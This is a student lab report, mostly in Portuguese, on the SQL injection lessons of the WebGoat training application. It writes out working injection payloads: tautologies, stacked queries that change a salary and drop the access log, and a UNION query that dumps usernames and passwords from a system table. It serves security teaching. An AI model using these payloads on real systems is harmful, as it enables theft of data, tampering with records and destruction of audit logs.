



Ciências
ULisboa

Sistemas de Segurança de Software

Mestrado em Engenharia Informática

Segurança de Software

Mestrado em Informática

Class Project: Experiments with WebGoat (class 3)

Gustavo Henriques Nº 64361

Leonardo Monteiro Nº 58250

Maria Figueirinhas Nº 46494

2. LAB: SQL Injection

Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 2.

[Lesson 2](#): Retrieving information about Bob.

Para este exercício metemos a seguinte query no campo de input:
`SELECT * FROM employees WHERE first_name = 'Bob'`

Concluimos assim a lição como mostra a imagem abaixo:

The screenshot shows a web interface for an SQL injection lab. At the top, there is a checkmark icon and the text 'SQL query'. Below this is a text input field containing the query 'SELECT * FROM employees WHERE first_name = 'Bob''. To the right of the input field is a 'Submit' button. Below the input field, the text 'You have succeeded!' is displayed in green. Underneath, the executed query is shown: 'SELECT * FROM employees WHERE first_name = 'Bob''. Below the query, the results are displayed in a table with the following columns: USERID, FIRST_NAME, LAST_NAME, DEPARTMENT, SALARY, and AUTH_TAN. The table contains one row of data: 96134, Bob, Franco, Marketing, 83700, and LO9S2V.

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN
96134	Bob	Franco	Marketing	83700	LO9S2V

Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 3.

[Lesson 3](#): Changing department of Tobi Barnett to 'Sales'.

Para este exercício metemos a seguinte query no campo de input:
UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi'

Concluimos assim a lição como mostra a imagem abaixo:



Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 4.

[Lesson 4](#): Modifying the table scheme by adding the column "phone".

Para este exercício metemos a seguinte query no campo de input:
ALTER TABLE employees ADD phone varchar(20)

Concluimos assim a lição como mostra a imagem abaixo:



Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 5.

[Lesson 5](#): Granting the user "unauthorized_user" rights to the table "grant_rights".

Para este exercício metemos a seguinte query no campo de input:

GRANT ALL ON grant_rights TO unauthorized_user

Concluimos assim a lição como mostra a imagem abaixo:



Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 6.

[Lesson 6](#): Experimenting with different inputs.

Para esta lição simplesmente vimos alguns exemplos de SQL injections.

Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 9.

[Lesson 9](#): Performing a SQL injection.

Para esta lição selecionamos as opções Smith' , OR, '1' = '1' e conseguimos executar uma SQL injection, como mostra a imagem abaixo:

✓

SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' or '1' = '1' Get Account Info

You have succeeded:

USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,

101, Joe, Snow, 987654321, VISA, , 0,

101, Joe, Snow, 2234200065411, MC, , 0,

102, John, Smith, 2435600002222, MC, , 0,

102, John, Smith, 4352209902222, AMEX, , 0,

103, Jane, Plane, 123456789, MC, , 0,

103, Jane, Plane, 333498703333, AMEX, , 0,

10312, Jolly, Hershey, 176896789, MC, , 0,

10312, Jolly, Hershey, 333300003333, AMEX, , 0,

10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0,

10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0,

15603, Peter, Sand, 123609789, MC, , 0,

15603, Peter, Sand, 338893453333, AMEX, , 0,

15613, Joesph, Something, 33843453533, AMEX, , 0,

15837, Chaos, Monkey, 32849386533, CM, , 0,

19204, Mr, Goat, 33812953533, VISA, , 0,

Your query was: SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'

Explanation: This injection works, because or '1' = '1' always evaluates to true (The string ending literal for '1' is closed by the query itself, so you should not inject it). So the injected query basically looks like this: SELECT * FROM user_data WHERE first_name = 'John' and last_name = " or TRUE, which will always evaluate to true, no matter what came before it.

Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 10.

[Lesson 10](#): Performing a Numeric SQL injection.

Para esta lição metemos um número aleatório no Login_Count e no userId metemos uma condição numérica verdadeira. Neste caso metemos 1 or 1=1. Com isto, conseguimos executar uma numeric SQL injection como mostra a imagem abaixo:

✓

Login_Count:

User_Id:

You have succeeded:

USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE, COOKIE, LOGIN_COUNT,

101, Joe, Snow, 987654321, VISA, , 0,

101, Joe, Snow, 2234200065411, MC, , 0,

102, John, Smith, 2435600002222, MC, , 0,

102, John, Smith, 4352209902222, AMEX, , 0,

103, Jane, Plane, 123456789, MC, , 0,

103, Jane, Plane, 333498703333, AMEX, , 0,

10312, Jolly, Hershey, 176896789, MC, , 0,

10312, Jolly, Hershey, 333300003333, AMEX, , 0,

10323, Grumpy, youaretheweakestlink, 673834489, MC, , 0,

10323, Grumpy, youaretheweakestlink, 33413003333, AMEX, , 0,

15603, Peter, Sand, 123609789, MC, , 0,

15603, Peter, Sand, 338893453333, AMEX, , 0,

15613, Joesph, Something, 33843453533, AMEX, , 0,

15837, Chaos, Monkey, 32849386533, CM, , 0,

19204, Mr, Goat, 33812953533, VISA, , 0,

Your query was: SELECT * From user_data WHERE Login_Count = 20 and userid= 1 or 1=1

Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 11.

[Lesson 11](#): Using SQL injection to retrieve sensitive data from the database

Para esta lição preenchemos o primeiro campo com Smith' OR '1' = '1 e o segundo com Auth 3SL99A' OR '1' = '1. Com isto, conseguimos extrair data sensível através de uma SQL injection, como mostra a imagem abaixo:

✓

Employee Name:

Authentication TAN:

You have succeeded! You successfully compromised the confidentiality of data by viewing internal information that you should not have access to. Well done!

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN	PHONE
32147	Paulina	Travers	Accounting	46000	P45JSI	null
34477	Abraham	Holman	Development	50000	UU2ALK	null
37648	John	Smith	Marketing	64350	3SL99A	null
89762	Tobi	Barnett	Sales	77000	TA9LL1	null
96134	Bob	Franco	Marketing	83700	LO9S2V	null

Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 12.

[Lesson 12](#): Increasing Jonh Smith salary.

Para esta lição preenchemos o primeiro campo com Smith e o segundo com 3SL99A'; UPDATE employees SET salary=100000 WHERE first_name = 'John' AND last_name='Smith. Com isto conseguimos aumentar o salário do John como mostra a imagem abaixo:

USERID	FIRST_NAME	LAST_NAME	DEPARTMENT	SALARY	AUTH_TAN	PHONE
37648	John	Smith	Marketing	100000	3SL99A	null
96134	Bob	Franco	Marketing	83700	LO9S2V	null
89762	Tobi	Barnett	Sales	77000	TA9LL1	null
34477	Abraham	Holman	Development	50000	UU2ALK	null
32147	Paulina	Travers	Accounting	46000	P45JSI	null

Solving [Injection](#) >> [SQL Injection \(intro\)](#) >> Steps 13.

[Lesson 13](#): Delete the log.

Para esta lição foi só preencher o campo com o seguinte input UPDATE' ; DROP TABLE access_log --. Com isto conseguimos esconder as ações executadas, completando assim esta lição como mostra a imagem abaixo:

Solving Injection >> SQL Injection (advanced) >> Steps 3.

Challenge: Retrieving information from the user_system_data and retrieving the password of the user Dave.

Para esta lição metemos o seguinte input:

```
SELECT * FROM user_data WHERE last_name = ' UNION SELECT 1,
user_name, password, cookie, 'a', 'b', 1 FROM user_system_data; --'
```

✓

Name:

Password:

You have succeeded:

JSERID	FIRST_NAME	LAST_NAME	CC_NUMBER	CC_TYPE	COOKIE	LOGIN_COUNT
1	dave	passW0rD	a	b	1	
2	jdoe	passwd2	a	b	1	
3	jeff	jeff	a	b	1	
4	jplane	passwd1	a	b	1	
5	jsnow	passwd1	a	b	1	

Well done! Can you also figure out a solution, by using a UNION?

Your query was: SELECT * FROM user_data WHERE last_name = 'SELECT * FROM user_data WHERE last_name= ' UNION SELECT 1, user_name, password, cookie, 'a', 'b', 1 FROM user_system_data;--'